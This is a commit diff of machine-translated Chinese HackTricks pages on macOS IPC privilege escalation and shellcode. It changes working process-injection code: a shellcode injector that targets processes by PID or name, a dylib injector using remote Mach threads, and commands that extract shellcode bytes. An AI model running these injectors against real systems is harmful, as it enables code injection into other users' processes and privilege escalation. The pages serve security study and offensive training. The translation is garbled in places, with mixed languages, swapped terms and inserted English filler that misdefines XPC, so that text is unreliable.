Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

This commit is contained in:
Translator 2023-09-19 23:05:42 +00:00
parent 90fb74b097
commit ee20215caf
5 changed files with 255 additions and 228 deletions

View file

@ -5,8 +5,8 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
@ -21,39 +21,59 @@ Mach使用**任务task**作为共享资源的**最小单位**,每个任
端口权限定义了任务可以执行的操作,这对通信至关重要。可能的**端口权限**有:
* **接收权限**允许接收发送到端口的消息。Mach端口是MPSC多生产者单消费者队列这意味着整个系统中每个端口只能有**一个接收权限**(与管道不同,多个进程可以持有指向管道读端的文件描述符)。
* 具有**接收权限的任务**可以接收消息并**创建发送权限**,从而可以发送消息。最初,**只有自己的任务对其端口具有接收权限**。
* 拥有接收权限的**任务可以接收消息并创建发送权限**,从而可以发送消息。最初,只有**自己的任务对其端口拥有接收权限**。
* **发送权限**,允许向端口发送消息。
* 发送权限可以进行**克隆**,因此拥有发送权限的任务可以克隆该权限并将其授予第三方任务。
* **一次性发送权限**,允许向端口发送一条消息,然后消失。
* **端口集权限**,表示一个**端口集**而不是单个端口。从端口集中出队一条消息会从其中一个包含的端口中出队。端口集可用于同时监听多个端口类似于Unix中的`select`/`poll`/`epoll`/`kqueue`。
* **死名**,不是实际的端口权限,只是一个占位符。当一个端口被销毁时,所有现有的端口权限都变成死名。
* **死**,不是实际的端口权限,只是一个占位符。当一个端口被销毁时,所有现有的端口权限都变成死名
**任务可以将发送权限传输给其他任务**,使其能够发送消息回来。**发送权限也可以被克隆,因此一个任务可以复制并将权限给第三个任务**。这与一个称为**引导服务器**的中间进程结合使用,可以实现任务之间的有效通信。
**任务可以将发送权限传输给其他任务**,使其能够发送消息回来。**发送权限也可以进行克隆**,因此任务可以复制并将权限授予第三方任务。这与一个称为**引导服务器**的中间进程结合使用,可以实现任务之间的有效通信。
#### 步骤:
正如提到的,为了建立通信通道,涉及到**引导服务器**mac中的**launchd**)。
正如前面提到的,为了建立通信通道,涉及到**引导服务器**mac中的**launchd**)。
1. 任务**A**初始化一个**新的端口**,在此过程中获得一个**接收权限**。
2. 作为接收权限的持有者,任务**A**为端口**生成一个发送权限**。
3. 任务**A**通过引导注册过程与**引导服务器**建立**连接**,提供**端口的服务名称**和**发送权限**。
4. 任务**B**与**引导服务器**交互,执行服务名称的引导**查找**。如果成功,**服务器复制从任务A接收到的发送权限**并将其**传输给任务B**。
5. 获得发送权限后,任务**B**能够**构建**一条**消息**并将其**发送给任务A**。
3. 任务**A**通过引导注册过程与**引导服务器**建立**连接**,提供端口的服务名称和通过发送权限。
4. 任务**B**与**引导服务器**交互,执行服务名称的引导查找。如果成功,**服务器复制从任务A接收到的发送权限**并将其**传输给任务B**。
5. 获得发送权限后,任务**B**能够**构建消息**并将其**发送给任务A**。
引导服务器**无法对任务声称的服务名称进行身份验证**。这意味着一个任务有可能**冒充任何系统任务**,例如虚假地**声称授权服务名称**,然后批准每个请求。
然后Apple将**系统提供的服务名称**存储在位于**SIP保护**目录下的安全配置文件中:`/System/Library/LaunchDaemons`和`/System/Library/LaunchAgents`。引导服务器将为每个这些服务名称创建并持有一个**接收权限**。
对于这些预定义服务,**查找过程有不同**。当查找服务名称时launchd会动态启动服务。新的工作流程如下
对于这些预定义服务,**查找过程有不同**。当查找服务名称时launchd会动态启动服务。新的工作流程如下
* 任务**B**为服务名称**发起引导查找**。
* 任务**B**启动一个服务名称的引导**查找**。
* **launchd**检查任务是否正在运行,如果没有,则**启动**它。
* 任务**A**(服务)执行**引导签入**。在这里,**引导**服务器创建一个发送权限,保留它,并**将接收权限传输给任务A**。
* 任务**A**(服务)执行引导**签入**。在这里,引导服务器创建一个发送权限,保留它,并将接收权限**传输给任务A**。
* launchd复制**发送权限并将其发送给任务B**。
然而,此过程仅适用于预定义的系统任务。非系统任务仍然按照最初的描述进行操作,这可能导致冒充。
然而,这个过程仅适用于预定义的系统任务。非系统任务仍然按照最初的描述进行操作,这可能导致冒充。
### Mach服务
位于前面提到的SIP受保护目录中的应用程序中指定的名称不能被其他进程注册。
例如,`/System/Library/LaunchAgents/com.apple.xpc.loginitemregisterd.plist` 注册了名称 `com.apple.xpc.loginitemregisterd`
```json
plutil -p com.apple.xpc.loginitemregisterd.plist
{
"EnablePressuredExit" => 1
"Label" => "com.apple.xpc.loginitemregisterd"
"MachServices" => {
"com.apple.xpc.loginitemregisterd" => 1
}
"ProcessType" => "Adaptive"
"Program" => "/usr/libexec/loginitemregisterd"
}
```
如果您尝试使用以下代码进行注册,将无法成功。
### 代码示例
请注意,**发送方**在分配一个端口后,为名称`org.darlinghq.example`创建了一个**发送权限**,并将其发送到**引导服务器**,而发送方则请求该名称的**发送权限**并使用它来**发送消息**。
请注意,**发送方**分配一个端口,为名称`org.darlinghq.example`创建了一个**发送权**,并将其发送到**引导服务器**,而发送方则请求该名称的**发送权**并使用它来**发送消息**。
{% tabs %}
{% tab title="receiver.c" %}
@ -165,6 +185,12 @@ int main() {
printf("Message sent: %s\n", msg.mtext);
// Remove the message queue
if (msgctl(msgid, IPC_RMID, 0) == -1) {
perror("msgctl failed");
exit(EXIT_FAILURE);
}
return 0;
}
```
@ -228,18 +254,18 @@ printf("Sent a message\n");
### 特权端口
* **主机端口**:如果一个进程对该端口具有**发送**权限,他可以获取关系统的**信息**(例如`host_processor_info`)。
* **主机端口**:如果一个进程对该端口具有**发送**权限,他可以获取关系统的**信息**(例如`host_processor_info`)。
* **主机特权端口**:具有对该端口的**发送**权限的进程可以执行**特权操作**,如加载内核扩展。该进程需要是**root**才能获得此权限。
* 此外,为了调用**`kext_request`** API需要具有**`com.apple.private.kext`**的授权,该授权仅提供给Apple二进制文件。
* **任务名称端口**_任务端口_的非特权版本。它引用任务,但不允许对其进行控制。似乎唯一可以通过它获得的是`task_info()`。
* 此外,为了调用**`kext_request`** API还需要具有其他授权**`com.apple.private.kext*`**,这些授权仅提供给Apple二进制文件。
* **任务名称端口**_任务端口_的非特权版本。它引用任务但不允许对其进行控制。似乎唯一可以通过它获得的是`task_info()`。
* **任务端口**(也称为内核端口):对该端口具有发送权限,可以控制任务(读/写内存,创建线程等)。
* 调用`mach_task_self()`以获取调用者任务的名称。此端口仅在**`exec()`**跨越继承;使用`fork()`创建的新任务会获得一个新的任务端口作为特殊情况suid二进制文件在`exec()`之后也会获得一个新的任务端口)。生成任务并获取其端口的唯一方法是在执行`fork()`时执行["端口交换舞蹈"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html)。
* 调用`mach_task_self()`以获取调用者任务的名称。此端口仅在**`exec()`**之间**继承**使用`fork()`创建的新任务会获得一个新的任务端口作为特殊情况suid二进制文件在`exec()`之后也会获得一个新的任务端口)。生成任务并获取其端口的唯一方法是在执行`fork()`时执行["端口交换舞蹈"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html)。
* 这些是访问端口的限制(来自二进制文件`AppleMobileFileIntegrity`的`macos_task_policy`
* 如果应用具有**`com.apple.security.get-task-allow`授权**,来自**同一用户的进程可以访问任务端口**通常由Xcode用于调试。**公证**过程不允许将其用于生产版本。
* 具有**`com.apple.system-task-ports`授权**的应用可以获取任何进程的**任务端口**,除了内核。在旧版本中,它被称为**`task_for_pid-allow`**。这仅授予Apple应用程序。
* **Root可以访问**未使用**强化**运行时编译的应用程序的任务端口也不是来自Apple
* 具有**`com.apple.system-task-ports`授权**的应用程序可以获取任何进程的**任务端口**,但不能获取内核的任务端口。在旧版本中,它被称为**`task_for_pid-allow`**。这仅授予Apple应用程序。
* **Root可以访问未使用强化运行时编译**且不是来自Apple的应用程序的任务端口
### 通过任务端口进行Shellcode进程注入
### 通过任务端口在线程中注入Shellcode
您可以从以下位置获取Shellcode
@ -252,12 +278,28 @@ printf("Sent a message\n");
```objectivec
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep
#import <Foundation/Foundation.h>
double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo] processIdentifier]);
[NSThread sleepForTimeInterval:99999];
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];
performMathOperations(); // Silent action
[NSThread sleepForTimeInterval:5];
}
}
return 0;
}
@ -279,7 +321,7 @@ return 0;
<details>
<summary>injector.m</summary>
<summary>sc_injector.m</summary>
```objectivec
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector
@ -422,14 +464,54 @@ return (-3);
return (0);
}
pid_t pidForProcessName(NSString *processName) {
NSArray *arguments = @[@"pgrep", processName];
NSTask *task = [[NSTask alloc] init];
[task setLaunchPath:@"/usr/bin/env"];
[task setArguments:arguments];
NSPipe *pipe = [NSPipe pipe];
[task setStandardOutput:pipe];
NSFileHandle *file = [pipe fileHandleForReading];
[task launch];
NSData *data = [file readDataToEndOfFile];
NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
return (pid_t)[string integerValue];
}
BOOL isStringNumeric(NSString *str) {
NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet];
NSRange r = [str rangeOfCharacterFromSet: nonNumbers];
return r.location == NSNotFound;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
if (argc < 2) {
NSLog(@"Usage: %s <pid>", argv[0]);
NSLog(@"Usage: %s <pid or process name>", argv[0]);
return 1;
}
pid_t pid = atoi(argv[1]);
NSString *arg = [NSString stringWithUTF8String:argv[1]];
pid_t pid;
if (isStringNumeric(arg)) {
pid = [arg intValue];
} else {
pid = pidForProcessName(arg);
if (pid == 0) {
NSLog(@"Error: Process named '%@' not found.", arg);
return 1;
}
else{
printf("Found PID of process '%s': %d\n", [arg UTF8String], pid);
}
}
inject(pid);
}
@ -439,17 +521,17 @@ return 0;
</details>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pid-of-mysleep>
./inject <pi or string>
```
### 通过任务端口进行Dylib进程注入
### 通过任务端口在线程中进行Dylib注入
在macOS中线程可以通过Mach或使用posix `pthread` api进行操作。我们在前面的注入中生成的线程是使用Mach api生成的因此它不符合posix规范
macOS 中,线程可以通过 Mach 或使用 posix `pthread` api 进行操作。我们在前面的注入中生成的线程是使用 Mach api 生成的,因此它不符合 posix 标准
之前我们能够注入一个简单的shellcode来执行命令是因为它不需要使用符合posix规范的api只需要使用Mach。更复杂的注入需要线程也符合posix规范
之前我们能够注入一个简单的 shellcode 来执行命令,是因为它不需要使用符合 posix 标准的 api只需要使用 Mach。而更复杂的注入需要线程也符合 posix 标准
因此,为了改进shellcode它应该调用`pthread_create_from_mach_thread`来创建一个有效的pthread。然后这个新的pthread可以调用dlopen从系统中加载我们的dylib
因此,为了改进线程,应该调用 `pthread_create_from_mach_thread` 来创建一个有效的 pthread。然后这个新的 pthread 可以调用 dlopen 来从系统中加载一个 dylib这样就不需要编写新的 shellcode 来执行不同的操作,而是可以加载自定义库
你可以在(例如生成一个日志,然后你可以监听它的)中找到示例dylibs
你可以在(例如生成日志并监听它的示例 dylibs中找到示例 dylibs
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
@ -509,7 +591,7 @@ mach_msg_type_number_t dataCnt
char injectedCode[] =
"\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
// Call pthread_set_self
@ -681,20 +763,19 @@ memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64));
remoteStack64 += (STACK_SIZE / 2); // 这是真正的堆栈
//remoteStack64 -= 8; // 需要 16 字节对齐
const char *p = (const char *)remoteCode64;
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t)remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t)remoteStack64;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf("远程堆栈 64 0x%llx远程代码为 %p\n", remoteStack64, p);
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t)&remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT, &remoteThread);
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT, &remoteThread);
if (kr != KERN_SUCCESS)
{
if (kr != KERN_SUCCESS) {
fprintf(stderr, "无法创建远程线程:错误 %s", mach_error_string(kr));
return (-3);
}
@ -702,12 +783,12 @@ if (kr != KERN_SUCCESS)
return (0);
}
int main(int argc, const char *argv[])
int main(int argc, const char * argv[])
{
if (argc < 3)
{
fprintf(stderr, "用法:%s _pid_ _action_\n", argv[0]);
fprintf(stderr, " _action_:磁盘上 dylib 路径\n");
fprintf(stderr, " _action_:磁盘上 dylib 路径\n");
exit(0);
}
@ -716,12 +797,12 @@ const char *action = argv[2];
struct stat buf;
int rc = stat(action, &buf);
if (rc == 0)
inject(pid, action);
if (rc == 0) inject(pid, action);
else
{
fprintf(stderr, "找不到 dylib\n");
}
}
```
</details>
@ -729,7 +810,9 @@ else
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>
```
### 通过任务端口进行线程注入 <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
### 通过任务端口进行线程劫持 <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
在这种技术中,进程的一个线程被劫持:
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md" %}
[macos-thread-injection-via-task-port.md](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md)
@ -739,9 +822,9 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
### 基本信息
XPC代表XNUmacOS使用的内核进程间通信是macOS和iOS上进程之间通信的框架。XPC提供了一种在系统上进行安全、异步方法调用的机制。它是苹果安全范式的一部分,允许创建权限分离的应用程序,其中每个组件仅以执行其工作所需的权限运行,从而限制了受损进程可能造成的潜在损害。
XPC代表XNUmacOS使用的内核进程间通信是macOS和iOS上进程之间通信的框架。XPC提供了一种在系统上进行安全、异步方法调用的机制。它是苹果安全范例的一部分,允许创建权限分离的应用程序,其中每个组件都以其工作所需的权限运行,从而限制了受损进程可能造成的潜在损害。
XPC使用一种称为进程间通信IPC的方法用于在同一系统上运行的不同程序之间发送数据。
XPC使用一种进程间通信IPC的形式这是一组用于在同一系统上运行的不同程序之间发送数据的方法
XPC的主要优点包括
@ -751,21 +834,21 @@ XPC的主要优点包括
唯一的**缺点**是将一个应用程序分成多个进程通过XPC进行通信会**效率较低**。但在今天的系统中,这几乎不可察觉,而且好处更多。
例如QuickTime Player中的一个使用XPC的组件负责视频解码。该组件专门设计用于执行计算任务因此在发生漏洞时,它不会为攻击者提供任何有用的收益,如访问文件或网络。
一个例子可以在QuickTime Player中看到其中使用XPC的组件负责视频解码。该组件专门设计用于执行计算任务因此在发生违规事件时,它不会为攻击者提供任何有用的收益,如访问文件或网络。
### 应用程序特定的XPC服务
应用程序的XPC组件位于**应用程序本身内部**。例如在Safari中您可以在**`/Applications/Safari.app/Contents/XPCServices`**中找到它们。它们的扩展名为**`.xpc`**(例如**`com.apple.Safari.SandboxBroker.xpc`**),并且也是**包**,其中包含主二进制文件**`/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker`**
应用程序的XPC组件位于**应用程序本身内部**。例如在Safari中您可以在**`/Applications/Safari.app/Contents/XPCServices`**中找到它们。它们的扩展名为**`.xpc`**(例如**`com.apple.Safari.SandboxBroker.xpc`**),并且也是**bundles**与其中的主要二进制文件一起**`/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker`**
正如您可能想到的,**XPC组件将具有不同的授权和权限**与其他XPC组件或主应用程序二进制文件不同。除非XPC服务在其**Info.plist**文件中配置了[**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/xpcservice/joinexistingsession)设置为“True”。在这种情况下XPC服务将在与调用它的应用程序相同的安全会话中运行。
正如您可能想到的,**XPC组件将具有不同的授权和权限**而不同于其他XPC组件或主应用程序二进制文件。除非XPC服务在其**Info.plist**文件中配置了[**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/xpcservice/joinexistingsession)设置为“True”。在这种情况下XPC服务将在与调用它的应用程序相同的安全会话中运行。
XPC服务在需要时由**launchd**启动,并在所有任务完成后**关闭**以释放系统资源。**应用程序特定的XPC组件只能被应用程序利用**,从而降低了与潜在漏洞相关的风险。
### 系统范围的XPC服务
系统范围的XPC服务对所有用户都是可访问的。这些服务可以是launchd或Mach类型需要在指定目录中的plist文件中进行**定义**,例如**`/System/Library/LaunchDaemons`**、**`/Library/LaunchDaemons`**、**`/System/Library/LaunchAgents`**或**`/Library/LaunchAgents`**。
系统范围的XPC服务对所有用户都是可访问的。这些服务无论是launchd还是Mach类型需要在指定目录中的plist文件中进行**定义**,例如**`/System/Library/LaunchDaemons`**、**`/Library/LaunchDaemons`**、**`/System/Library/LaunchAgents`**或**`/Library/LaunchAgents`**。
这些plist文件将具有一个名为**`MachServices`**的键,其值为服务的名称,以及一个名为**`Program`**的键,其值为二进制文件的路径:
这些plist文件将具有一个名为**`MachServices`**的键,其中包含服务的名称,以及一个名为**`Program`**的键,其中包含二进制文件的路径:
```xml
cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
@ -807,7 +890,7 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
### XPC连接进程检查
当一个进程尝试通过XPC连接调用一个方法时**XPC服务应该检查该进程是否被允许连接**。以下是检查的常见方式和常见陷阱:
当一个进程尝试通过XPC连接调用一个方法时XPC服务应该检查该进程是否被允许连接。以下是检查的常见方式和常见陷阱
{% content-ref url="macos-xpc-connecting-process-check.md" %}
[macos-xpc-connecting-process-check.md](macos-xpc-connecting-process-check.md)
@ -815,7 +898,7 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
### XPC授权
Apple还允许应用程序**配置一些权限以及如何获取这些权限**,因此如果调用进程具有这些权限,它将被**允许调用XPC服务的方法**
Apple还允许应用程序配置一些权限以及如何获取这些权限因此如果调用进程具有这些权限它将被允许调用XPC服务的方法
{% content-ref url="macos-xpc-authorization.md" %}
[macos-xpc-authorization.md](macos-xpc-authorization.md)
@ -1031,9 +1114,7 @@ listener.delegate = delegate;
sleep(10); // Fake something is done and then it ends
}
```
{% tab title="oc_xpc_client.m" %}
## oc_xpc_client.m
{% tab title="oc_xpc_client.m" %}oc_xpc_client.m文件
```objective-c
#import <Foundation/Foundation.h>
@ -1058,37 +1139,7 @@ int main(int argc, const char * argv[]) {
}
```
### Description
This Objective-C code demonstrates how to create an XPC client that communicates with the `com.apple.securityd` Mach service. XPC (Inter-Process Communication) is a mechanism for communication between processes in macOS.
The code creates an XPC connection using `xpc_connection_create_mach_service` and specifies the target Mach service as `com.apple.securityd`. The `XPC_CONNECTION_MACH_SERVICE_PRIVILEGED` flag is used to indicate that the connection should be privileged.
An event handler is set using `xpc_connection_set_event_handler` to handle incoming events from the XPC service. In this example, the event handler checks if the event is a dictionary and retrieves the value associated with the key "description". If a description is found, it is printed to the console.
The connection is resumed using `xpc_connection_resume`, and the main dispatch loop is started using `dispatch_main`.
### Usage
Compile the code using the following command:
```bash
clang -framework Foundation -o oc_xpc_client oc_xpc_client.m
```
Run the compiled binary:
```bash
./oc_xpc_client
```
### References
- [XPC Services](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html)
- [XPC Overview](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/Introduction.html#//apple_ref/doc/uid/10000172i-SW1-SW1)
- [XPC API Reference](https://developer.apple.com/documentation/xpc)
{% endtab %}
这是一个Objective-C文件用于创建一个XPC客户端连接到`com.apple.securityd`服务。它使用`xpc_connection_create_mach_service`函数创建一个特权的Mach服务连接并使用`xpc_connection_set_event_handler`函数设置一个事件处理程序来处理接收到的事件。在事件处理程序中,它检查事件的类型是否为字典类型,并获取字典中的描述信息。如果存在描述信息,则打印出接收到的事件描述。最后,它通过调用`dispatch_main`函数来启动主循环,以保持连接的活动状态。
```objectivec
// gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
#include <Foundation/Foundation.h>
@ -1123,9 +1174,9 @@ Inter-Process Communication (IPC) is a mechanism that allows different processes
4. **XPC**: XPC (eXtensible Procedure Call) is a modern IPC mechanism introduced in macOS 10.7. It provides a secure and efficient way for processes to communicate with each other.
Understanding how IPC works in macOS is important for both developers and security researchers. Developers need to know how to use IPC mechanisms to build inter-process communication into their applications, while security researchers need to understand how IPC can be abused for privilege escalation and other security attacks.
Understanding how IPC works in macOS is important for both developers and security researchers. Developers need to know how to use IPC mechanisms effectively to build robust and secure applications. Security researchers need to understand the underlying IPC mechanisms to identify potential vulnerabilities and privilege escalation opportunities.
In this section, we will explore the different IPC mechanisms available in macOS and discuss their security implications. We will also cover common security vulnerabilities and best practices for securing IPC in macOS applications.
In this section, we will explore the different IPC mechanisms available in macOS and discuss their security implications. We will also cover common security issues related to IPC and best practices for securing IPC communications.
## Table of Contents

View file

@ -36,16 +36,16 @@ x64的调用约定在操作系统之间有所不同。例如
* **Windows**:前**四个参数**通过寄存器**`rcx`****`rdx`****`r8`**和**`r9`**传递。更多的参数被推送到栈上。返回值在**`rax`**中。
* **System V通常用于类UNIX系统**:前**六个整数或指针参数**通过寄存器**`rdi`****`rsi`****`rdx`****`rcx`****`r8`**和**`r9`**传递。返回值也在**`rax`**中。
如果函数有超过六个输入,则**其余参数将通过栈传递**。**RSP**,即栈指针,在任何调用发生之前必须是**16字节对齐**的这意味着它指向的地址必须能够被16整除。这意味着通常我们需要确保在进行函数调用之前我们的shellcode中的RSP被正确对齐。然而在实践中即使不满足这个要求系统调用也经常能够正常工作。
如果函数有超过六个输入,则**其余的参数将被传递到栈上**。**RSP**,即栈指针,在任何调用发生之前必须是**16字节对齐**的这意味着它指向的地址必须能够被16整除。这意味着通常我们需要确保在进行函数调用之前我们的shellcode中的RSP被正确对齐。然而在实践中即使不满足这个要求系统调用也经常能够正常工作。
### **常见指令**
x64指令具有丰富的指令集保持与早期x86指令的兼容性并引入新指令。
x64指令具有丰富的指令集保持与早期x86指令的兼容性并引入新指令。
* **`mov`**:将一个值从一个**寄存器**或**内存位置**移动到另一个位置。
* 示例:`mov rax, rbx` — 将`rbx`中的值移动到`rax`。
* **`mov`**:将一个值从一个**寄存器**或**内存位置**移动到另一个寄存器或内存位置。
* 示例:`mov rax, rbx` — 将`rbx`中的值移动到`rax`
* **`push`** 和 **`pop`**:将值推送到/从**栈**中弹出。
* 示例:`push rax` — 将`rax`中的值推送到栈
* 示例:`push rax` — 将`rax`中的值推送到栈
* 示例:`pop rax` — 将栈顶的值弹出到`rax`中。
* **`add`** 和 **`sub`****加法**和**减法**操作。
* 示例:`add rax, rcx` — 将`rax`和`rcx`中的值相加,并将结果存储在`rax`中。
@ -106,7 +106,7 @@ x64指令具有丰富的指令集保持与早期x86指令的兼容性并引
### Shellcode
编译如下
编译方法
{% code overflow="wrap" %}
```bash
@ -115,13 +115,20 @@ ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/Comm
```
{% endcode %}
提取字节的方法:
提取字节:
{% code overflow="wrap" %}
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
# Another option
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'
```
{% endcode %}
<details>
<summary>用于测试shellcode的C代码</summary>
@ -254,15 +261,15 @@ To invoke a command using the `sh` command, you can use the following syntax:
sh -c "command"
```
For example, if you want to run the `ls` command using `sh`, you would use:
For example, if you want to execute the `ls` command using `sh`, you would run:
例如,如果你想使用`sh`运行`ls`命令,可以使用以下命令
例如,如果你想使用`sh`执行`ls`命令,你可以运行
```sh
sh -c "ls"
```
This will execute the `ls` command as if it was run directly from the command line.
This will execute the `ls` command as if it were run directly from the command line.
```armasm
bits 64
section .text
@ -446,8 +453,8 @@ syscall
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家 **网络安全公司** 工作吗?你想在 HackTricks 中看到你的 **公司广告**吗?或者你想获得 **PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter****关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**

View file

@ -2,12 +2,12 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
* 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
